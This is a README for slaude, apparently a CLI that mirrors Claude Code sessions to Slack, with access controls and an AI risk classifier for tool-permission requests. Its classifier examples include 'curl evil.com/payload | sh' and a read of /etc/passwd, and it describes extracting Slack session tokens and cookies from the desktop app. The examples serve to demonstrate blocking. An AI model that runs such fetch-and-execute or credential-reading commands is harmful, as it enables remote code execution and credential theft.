slaude join https://<workspace>.slack.com/archives/D1KFZ7GJ0/p1773303415258849
Caution
Experimental β slaude exposes your Claude Code session to Slack. Likely insecure. Use at your own risk.
slagent is a Go library for streaming agent sessions to Slack threads. slaude is a CLI built on slagent that mirrors Claude Code sessions to Slack β so your team can watch, comment, and steer from Slack while Claude works.
# Homebrew
brew tap sttts/slagent https://github.com/sttts/slagent
brew install sttts/slagent/slaude
# or go install
go install github.com/sttts/slagent/cmd/slaude@latest
# or build from source
go build -o slaude ./cmd/slaude/Check your version:
slaude version # or: slaude --versionslaude auth # extract from local Slack app (recommended)
slaude auth --manual # or paste a token manually# Start a Claude session mirrored to a Slack channel
slaude start -c CHANNEL -- "design the API"
# With Claude flags (everything after -- goes to Claude)
slaude start -c CHANNEL -- --permission-mode plan "refactor the auth module"
# Join an existing Slack thread (new agent instance)
slaude join https://team.slack.com/archives/C123/p1234567890 "help with tests"
# Resume a previous session (URL with cursor from exit output)
slaude resume https://team.slack.com/archives/C123/p1234567890#fox@1700000005.000000 -- --resume SESSION_ID
# DM a user
slaude start -u alice -- "review this PR"
# No channel? Interactive picker shows available channels
slaude start -- "refactor the auth module"| Command | Description |
|---|---|
slaude start -c CHANNEL |
Start a new Slack thread with a Claude session |
slaude join URL [topic] |
Join an existing thread with a new agent instance |
slaude resume URL#id[@ts] |
Resume a previous session in a Slack thread |
slaude auth |
Set up Slack credentials |
slaude channels |
List accessible channels |
slaude share FILE -c CHANNEL |
Post a plan file to Slack |
slaude status |
Show current configuration |
Everything after -- is passed through to the Claude subprocess. This means slaude doesn't need to know about every Claude flag β you control --permission-mode, --resume, --system-prompt, etc. directly.
Multiple slaude instances can share a Slack thread. Each instance gets a unique identity emoji (e.g. π¦, πΆ). To address a specific instance, use :shortcode: prefix:
:fox_face: focus on the auth module β addressed to π¦ (others see it but ignore)
:fox_face: /compact β /command sent exclusively to π¦
Messages without prefix β broadcast to all instances
Regular messages with :shortcode: prefix are delivered to all instances, but the system prompt tells non-targeted instances to ignore them. Commands (/something) are instance-exclusive β only the targeted instance receives them.
Access has two independent axes:
Base mode β who the agent responds to:
- Locked (default for
start): owner only - Selective: owner + listed users
- Open: everyone
Observe flag β who the agent sees:
- Off (default): non-authorized messages filtered out
- On: all messages delivered for passive learning, agent still only responds to authorized users
Use /open, /lock, and /observe to control access (via :shortcode: targeting):
| Command | Effect |
|---|---|
:fox_face: /open |
Open thread for everyone |
:fox_face: /open <@U1> <@U2> |
Allow specific users (additive) |
:fox_face: /lock |
Lock to owner only (resets all, disables observe) |
:fox_face: /lock <@U1> |
Ban specific users |
:fox_face: /close |
Alias for /lock |
:fox_face: /observe |
Toggle observe mode (locked + read all messages) |
Three mutually exclusive CLI flags control the initial access mode:
slaude start --locked -c CHANNEL -- "design the API" # locked (default for start)
slaude start --observe -c CHANNEL -- "watch and learn" # observe: read all, respond to owner
slaude start --open -c CHANNEL -- "design the API" # open for everyone
slaude join --observe URL "help with tests" # observe (default for join)
slaude join --locked URL "review" # locked to owner onlyWhen no flag is given:
- Interactive (terminal): prompts
Closed, oBserve, or open? [cBo] - Non-interactive (piped):
startdefaults to locked,join/resumedefault to observe
Each instance manages its own access independently. Joined/resumed instances don't persist access changes to the shared thread title β their /open and /lock commands only affect in-memory state.
Thread title reflects access state:
ππ§΅ Topicβ locked (owner only)ππ§΅ Topicβ observe (locked + reading all messages)π§΅ Topicβ open for allπ§΅ @user1 @user2 Topicβ selective (specific users)ππ§΅ @user1 @user2 Topicβ selective + observeπ§΅ Topic (π @user)β with banned users
By default, every tool permission request goes to Slack for manual approval via reactions (β /β). For faster workflows, slaude can auto-approve safe operations using AI-based classification.
Two independent flags control what gets auto-approved:
# Auto-approve read-only local operations, network to known hosts
slaude start -c CHANNEL \
--dangerous-auto-approve green \
--dangerous-auto-approve-network known \
-- "refactor the auth module"--dangerous-auto-approve β sandbox/filesystem risk level:
| Value | Auto-approves | Goes to Slack |
|---|---|---|
never (default) |
nothing | everything |
green |
read-only local ops (file reads, searches) | writes, execution |
yellow |
local writes (test files, project edits) | system files, destructive ops |
--dangerous-auto-approve-network β network access:
| Value | Auto-approves | Goes to Slack |
|---|---|---|
never (default) |
nothing | any network access |
known |
known-safe hosts (package managers, GitHub) | unknown hosts |
any |
all network access | nothing |
Both must pass for auto-approval. For example, with --dangerous-auto-approve green --dangerous-auto-approve-network known:
Read main.goβ green, no network β auto-approvedgo mod downloadβ green, network to proxy.golang.org (known) β auto-approvedcurl evil.comβ red, unknown host β goes to Slack
Each permission request is classified by claude --model haiku for speed and cost. The classifier assesses:
- Risk level (green/yellow/red) β based on sandbox escape risk
- Network access β whether the operation involves network access and to which destination
The classification result (level, network destination, reasoning) is shown in the terminal and included in Slack approval prompts.
On classification failure (e.g. claude not in PATH), the request defaults to red + network (always goes to Slack).
Classifier settings are shared between slaude and the standalone claude-command-classifier-hook via ~/.config/slagent/classifier.yaml:
# Classifier settings (shared by slaude and claude-command-classifier-hook)
auto-approve: green
auto-approve-network: known
# Known-safe network destinations (replaces built-in defaults when present).
# Built-in defaults: GitHub, Go proxy, npm, PyPI, RubyGems, crates.io.
known-hosts:
# Simple host entries (default methods: GET, HEAD)
- host: proxy.golang.org
- host: github.com
# Host glob patterns (* = one label, ** = one or more labels)
- host: "*.googleapis.com" # matches storage.googleapis.com
- host: "**.amazonaws.com" # matches s3.us-east-1.amazonaws.com
# Restrict by URL path
- host: api.github.com
path: "/repos/**"
# Allow specific HTTP methods (default: [GET, HEAD])
- host: registry.npmjs.org
methods: [GET, HEAD, PUT]Host patterns β * matches one DNS label (*.github.com β api.github.com), ** matches one or more (**.github.com β a.b.github.com).
Path patterns β * matches one segment (/repos/* β /repos/foo), ** matches one or more (/repos/** β /repos/foo/bar).
Methods default to [GET, HEAD] when omitted.
Workspace-specific overrides for slaude go in ~/.config/slagent/slaude.yaml:
workspaces:
nvidia.enterprise.slack.com:
thinking-emoji: ":claude-thinking:"
dangerous-auto-approve: green
dangerous-auto-approve-network: knownAdd project-specific classification rules that get appended to the AI prompt:
rules:
- "go test, go build, go vet, go mod tidy are GREEN even though they may write build artifacts or fetch modules."
- "Makefile targets (make test, make lint, make imports) in the project directory are GREEN."Rules don't override the built-in risk levels β they give the classifier additional context for domain-specific decisions.
The classifier detects path traversal attempts. File operations that escape the working directory via .., absolute paths, or symlinks are classified as at least yellow (reads) or red (writes/executes):
Read ../fooβ π‘ yellow ("path traversal outside project directory")Read /etc/passwdβ π‘ yellow ("system file outside project directory")Read cmd/main.goβ π’ green ("within project")
The classifier can also run as a standalone Claude Code PreToolUse hook, without slaude or Slack.
Install:
go install github.com/sttts/slagent/cmd/claude-command-classifier-hook@latestAdd to ~/.claude/settings.json:
{
"hooks": {
"PreToolUse": [
{
"matcher": "*",
"hooks": [
{
"type": "command",
"command": "claude-command-classifier-hook --auto-approve=green --auto-approve-network=known --log-file=$HOME/.claude/hooks/logs/classifier.log"
}
]
}
]
}
}CLI flags:
| Flag | Description |
|---|---|
--auto-approve |
Threshold: never, green, yellow (overrides config) |
--auto-approve-network |
Network policy: never, known, any (overrides config) |
--log-file |
Append timestamped classification decisions to file |
The hook reads classifier.yaml for defaults (thresholds, known hosts, rules). Safe tools (TodoWrite, TaskCreate, etc.) are auto-approved without classification. On classification failure, it falls open to user prompt (never blocks).
When a request goes to Slack, the approval prompt includes the AI classification:
π΄π Permission request: Bash: curl evil.com/payload | sh
> RED risk, network: evil.com β Downloading and executing remote script
Non-network requests get two reactions: β (approve) and β (deny).
Network requests get three: β (approve once), πΎ (approve and remember host for this session), and β (deny). The πΎ reaction adds the host to the in-memory known set, so subsequent requests to the same host auto-approve without asking again.
| Command | Who | Effect |
|---|---|---|
stop |
Anyone | Interrupt current turn (all instances) |
:fox_face: stop |
Anyone | Interrupt specific instance |
quit |
Owner | Terminate session (all instances) |
:fox_face: quit |
Owner | Terminate specific instance |
help |
Anyone | Show help text |
Type help in any thread to see the full command reference.
slagent is the Go library that slaude is built on. Use it to build your own Slack-integrated agent UIs.
import "github.com/sttts/slagent"
client := slagent.NewSlackClient(token, cookie)
thread := slagent.NewThread(client, token, channelID, slagent.WithOwner(userID))
url, _ := thread.Start("My agent session")
turn := thread.NewTurn()
turn.Thinking("analyzing...")
turn.Tool("t1", "Read", slagent.ToolRunning, "main.go")
turn.Tool("t1", "Read", slagent.ToolDone, "main.go")
turn.Text("Here is the result.")
turn.Finish()Packages:
slagentβ Thread, Turn, reply polling, markdownβmrkdwncredentialβ Load/Save Slack credentials, extract from desktop appchannelβ Resolve channel names/users, list channels
slaude supports three token types:
Extract from your local Slack desktop app β no admin approval needed:
slaude auth --extractReads the xoxc- session token and xoxd- cookie from Slack's local storage. On macOS you'll see a keychain access prompt.
Create a Slack app at https://api.slack.com/apps with scopes: chat:write, channels:history, groups:history, im:history, mpim:history, channels:read, groups:read, im:read, im:write, mpim:read, mpim:write, reactions:read, reactions:write, users:read.
Same app setup as bot tokens, using User Token Scopes instead of Bot Token Scopes.
| Platform | Token extraction | Session mirroring |
|---|---|---|
| macOS | Yes | Yes |
| Linux | Untested | Untested |
| Windows | No | Untested |
Only macOS is actively tested. Linux and Windows might work β PRs welcome.

